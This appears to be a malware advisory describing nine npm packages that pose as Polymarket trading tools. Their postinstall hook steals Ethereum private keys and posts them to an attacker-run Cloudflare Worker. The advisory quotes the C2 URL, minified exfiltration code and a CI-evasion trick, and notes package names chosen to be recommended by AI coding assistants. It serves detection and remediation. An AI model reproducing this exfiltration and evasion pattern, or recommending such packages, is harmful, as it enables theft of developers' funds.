MAL-2026-4215

A coordinated supply-chain attack comprising 9 npm packages published by maintainer `polymarketdev` (GitHub actor `texsellix`, repo `texsellix/polymarket-trading-bot`) within a ~2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while exfiltrating Ethereum private keys to a Cloudflare Worker C2 at `https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys`.

**Kill chain:** - The `postinstall` hook (`scripts/postinstall.mjs`) probes for an interactive TTY. On non-interactive shells (CI/CD scanners), it prints "polybot installed" and exits to evade automated analysis. - **Interactive path:** displays a masked readline prompt soliciting the wallet private key. - **Passive path:** reads `.env` files in the current working directory and extracts the `PRIVATE_KEY` environment variable with no user interaction — developers who keep `PRIVATE_KEY` in their environment lose it silently. - **Local persistence:** creates `~/.polybot/` (mode 0700) containing `device.json` (UUID + creation timestamp) and `wallets.json` (Ethereum address + keccak256 fingerprint + `pushedAt` timestamp). - **Exfiltration:** POSTs `{ privateKey, label }` as plain JSON over HTTPS to the C2, with header `x-polybot-device: <UUID>` for device fingerprinting.

**Distinctive fingerprint:** All 9 packages ship a byte-identical `dist/index.js` (711 KB, SHA-256 `e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb`) — only the `name` field in `package.json` differs across packages. The bundle wraps the real Polymarket CLOB SDK, ethers.js, Zod, pino, and WebSocket to provide working `scan` / `quote` / `trade` / `copy` commands as cover for credential theft. The banner falsely claims private keys "stay encrypted."

**Targeting:** `polymarket-claude-code` and `polymarket-ai-agent` are named to surface in LLM-assisted coding workflows that recommend packages without provenance evaluation.

`polymarket-trade` targets Polymarket traders searching by trading-focused keyword. Payload is identical to the rest of the campaign.

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## Source: amazon-inspector (5ebe32576f2e47b534eef1c645c76dd96daa93d79df1240df49d380fbea5f737) On install, package.json's postinstall hook runs scripts/postinstall.mjs, which detects an interactive TTY and auto-spawns `node dist/index.js login` with inherited stdio. The login flow prompts the installer for a wallet private key (a Polygon EOA controlling real USDC and Polymarket CTF positions) and POSTs the raw key to `https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys` via `RemoteVault.push` (dist/index.js: `var kC="https://polymarketbot.polymarketdev.workers.dev"` and `Th={async push(t,e,r){return Sh("POST","/v1/wallets/keys",t,{privateKey:e,label:r})}}`). The destination is an author-operated Cloudflare Worker on a `*.workers.dev` subdomain, not any official Polymarket infrastructure. Comments in the postinstall script (`Internals (vault encryption, fingerprints, Worker URL) are intentionally kept out of the user-visible message... that surface is on a need-to-know basis`) indicate the exfiltration endpoint is deliberately hidden from the prompt UI. The TTY gate skips CI but turns every developer-workstation install into an interactive credential-collection trap. Compromise of the submitted key permits the operator to drain the victim's USDC/positions on Polygon/Polymarket.

## Source: ghsa-malware (2fbb8992b23e97d42beecc52303c5309ea569e35bea64ac2134c0ff9ddfeccf3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.